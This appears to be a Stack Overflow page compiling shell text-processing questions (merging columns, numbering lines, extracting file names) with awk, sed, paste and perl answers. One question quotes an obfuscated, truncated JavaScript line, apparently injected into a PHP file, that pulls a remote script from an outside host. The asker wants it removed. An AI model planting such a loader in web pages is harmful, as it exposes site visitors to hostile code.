I need to merge two files with a Bash script.
File_1.txt
TEXT01 TEXT02 TEXT03 TEXT04
TEXT05 TEXT06 TEXT07 TEXT08
TEXT09 TEXT10 TEXT11 TEXT12
File_2.txt
1993.0
1994.0
1995.0
Result.txt
TEXT01 TEXT02 1993.0 TEXT03 TEXT04
TEXT05 TEXT06 1994.0 TEXT07 TEXT08
TEXT09 TEXT10 1995.0 TEXT11 TEXT12
File_2.txt need to be merged at this specific position. I have tried different solutions with multiple do while loops, but they have not been working so far..
awk '{
getline s3 < "file1"
printf "%s %s %s ",$1,$2,s3
for(i=3;i<=NF;i++){
printf "%s ",$i
}
print ""
}END{close(s3)}' file
output
# more file
TEXT01 TEXT02 TEXT03 TEXT04
TEXT05 TEXT06 TEXT07 TEXT08
TEXT09 TEXT10 TEXT11 TEXT12
$ more file1
1993.0
1994.0
1995.0
$ ./shell.sh
TEXT01 TEXT02 1993.0 TEXT03 TEXT04
TEXT05 TEXT06 1994.0 TEXT07 TEXT08
TEXT09 TEXT10 1995.0 TEXT11 TEXT12
Why, use cut and paste, of course! Give this a try:
paste -d" " <(cut -d" " -f 1-2 File_1.txt) File_2.txt <(cut -d" " -f 3-4 File_1.txt)
This was inspirated by Dennis Williamson's answer so if you like it give there a +1 too!
paste test1.txt test2.txt | awk '{print $1,$2,$5,$3,$4}'
This is a solution without awk.
The interesting is how to use the file descriptors in bash.
#!/bin/sh
exec 5<test2.txt # open file descriptor 5
cat test1.txt | while read ln
do
read ln2 <&5
#change this three lines as you wish:
echo -n "$(echo $ln | cut -d ' ' -f 1-2) "
echo -n "$ln2 "
echo $ln | cut -d ' ' -f 3-4
done
exec 5>&- # Close fd 5
Since the question was tagged with 'sed', here's a variant of Vereb's answer using sed instead of awk:
paste File_1.txt File_2.txt | sed -r 's/( [^ ]* [^ ]*)\t(.*)/ \2\1/'
Or in pure sed ... :D
sed -r '/ /{H;d};G;s/^([^\n]*)\n*([^ ]* [^ ]*)/\2 \1/;P;s/^[^\n]*\n//;x;d' File_1.txt File_2.txt
Using perl, give file1 and file2 as arguments to:
#/usr/local/bin/perl
open(TXT2, pop(#ARGV));
while (<>) {
chop($m = <TXT2>);
s/^((\w+\s+){2})/$1$m /;
print;
}
Related
I'll appreciate help in converting this output to a pipe delimited
I have the following output
abcde1234 /path/A/file1
test23455 /path/B/file2345
But I would like in
abcde1234|file1
test23455|file2345
In awk, If you set FS as [[:blank:]]+/|/ you can print the first and last fields:
awk -v FS='[[:blank:]]+/|/' -v OFS='|' '{print $1, $NF}' file
abcde1234|file1
test23455|file2345
Here is a one-liner awk solution:
awk -v FS='[ \t].*/' -v OFS='|' '{$1=$1}1' file
and, a sed one-liner:
sed 's%[[:blank:]].*/%|%' file
and a pure bash one
while read -r; do echo "${REPLY%%[[:blank:]]*}|${REPLY##*/}"; done < file
try to use cut 🤷🏻♀️.
abcde1234 /path/A/file1
test23455 /path/B/file2345
while IFS= read -r line; do
value1=$(echo $line | cut -d ' ' -f1)
value2=$(echo $line | cut -d '/' -f4)
printf "$value1 $value2\n"
done < <(cat list)
i am using this code
cut -c1 | tr -d '\n'
to basically take and print out the first letter of every line. the problem is, I need a new line at the end, but only at the end, after the word "caroline" (these are the content of the testfile
Cannot use AWK, basename, grep, egrep, fgrep or rgrep
Use echo
echo $( cut -c1 | tr -d '\n' ) \n
cut -c1 | tr -d '\n'; echo -e '\n'
Try using awk utility, something like following:-
awk -F\| '$1 > 0 { print substr($1,1,1)}' testfile.txt
The contents of file.txt:
"16875170";"172";"50"
"11005137";"28";"39"
"16981017";"9347";"50"
"13771676";"13";"45"
"5865226";"963";"28"
File with the result:
"1";"16875170";"172";"50"
"2";"11005137";"28";"39"
"3";"16981017";"9347";"50"
"4";"13771676";"13";"45"
"5";"5865226";"963";"28"
awk can do this for you pretty easily.
$ cat test.txt
"16875170";"172";"50"
"11005137";"28";"39"
"16981017";"9347";"50"
"13771676";"13";"45"
"5865226";"963";"28"
$ awk '{print "\""NR"\";"$0}' test.txt
"1";"16875170";"172";"50"
"2";"11005137";"28";"39"
"3";"16981017";"9347";"50"
"4";"13771676";"13";"45"
"5";"5865226";"963";"28"
This tells awk to print a literal ", followed by the record number, followed by ";, then rest of the line. Depending on other needs not stated (e.g. the quoting not being totally necessary,) there may be a better method to use but given the question and output this works.
Grep solution for funsies:
$ grep ".*" test.txt -n | sed 's/\([0-9]*\):/"\1";/g;'
"1";"16875170";"172";"50"
"2";"11005137";"28";"39"
"3";"16981017";"9347";"50"
"4";"13771676";"13";"45"
"5";"5865226";"963";"28"
For the fun of sed:
sed "=" test.txt | sed "N;s/\([0-9]\{1,\}\)\n/\"\1\";/"
Output:
"1";"16875170";"172";"50"
"2";"11005137";"28";"39"
"3";"16981017";"9347";"50"
"4";"13771676";"13";"45"
"5";"5865226";"963";"28"
also, bash-based:
i=0; cat my_file.txt | while read line; do i=$(( $i + 1 )); echo \"$i\"\;"$line"; done > results.txt
There is also coreutils nl:
<file.txt nl -s';' -w1 | sed 's/[0-9]*/"&"/'
Or perl:
<file.txt perl -pne 's/^/"$.";/'
Or sed and paste:
<file.txt sed = | paste -d\; - - | sed 's/[0-9]*/"&"/'
Output in all cases:
"1";"16875170";"172";"50"
"2";"11005137";"28";"39"
"3";"16981017";"9347";"50"
"4";"13771676";"13";"45"
"5";"5865226";"963";"28"
I have a script in .php file which is the following :
var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}
I would like to replace in cmd line the whole line with (1) empty char. Is it possible? tried to do it with sed , but probably this is a too complex string.Tried to set the string in var , but didn't work either . Has anybody any idea?
This is actually something sed excels in. :)
sed -i '1s/.*/ /' your-file
Example:
$ cat test
one
two
three
$ sed '1s/.*/ /' < test
two
three
On my OS X i tested this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i '.txt' $strnum's/.*/ /' test.txt; done
On CentOS should work this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
You should replace qwe with your pattern. It will replace all strings where pattern would be found to space.
To put right content in grep, it should be prepared. You should create file with required pattern and start command:
echo '"'$(cat your_file | sed -e 's|"|\\"|g')'"'
Result of this command should be replaced qwe(with quotes for sure).
You should get something like this:
for strnum in $(grep -n "var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+\"//\"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
I've searched it with no success.
I have a file with pathes.
I want to print the tail of a all pathes.
for example (for every line in file):
/homes/work/abc.txt
--> abc.txt
Does anyone know how to do it?
Thanks
awk -F "/" '{print $NF}' input.txt
will give output of:
abc1.txt
abc2.txt
abc3.txt
for:
$>cat input.txt
text path/to/file/abc1.txt
path/to/file/abc2.txt
path/to/file/abc3.txt
How about this awk
echo "/homes/work/abc.txt" | awk '{sub(/.*\//,x)}1'
abc.txt
Since .* is greedy, it will continue until last /
So here we remove all until last / with x, and since x is empty, gives nothing.
Thors version
echo "/homes/work/abc.txt" | awk -F/ '$0=$NF'
abc.txt
NB this will fail for /homes/work/0 or 0,0 etc so better use:
echo "/homes/work/abc.txt" | awk -F/ '{$0=$NF}1'
awk solutions are already provided by #Jotne and #bashophil
Here are some other variations (just for fun)
Using sed
sed 's:.*/::' file
Using grep
grep -oP '(.*/)?\K.*' file
Using cut - added by #Thor
rev file | cut -d/ -f1 | rev
Using basename - suggested by #fedorqui and #EdMorton
while IFS= read -r line; do
basename "$line"
done < file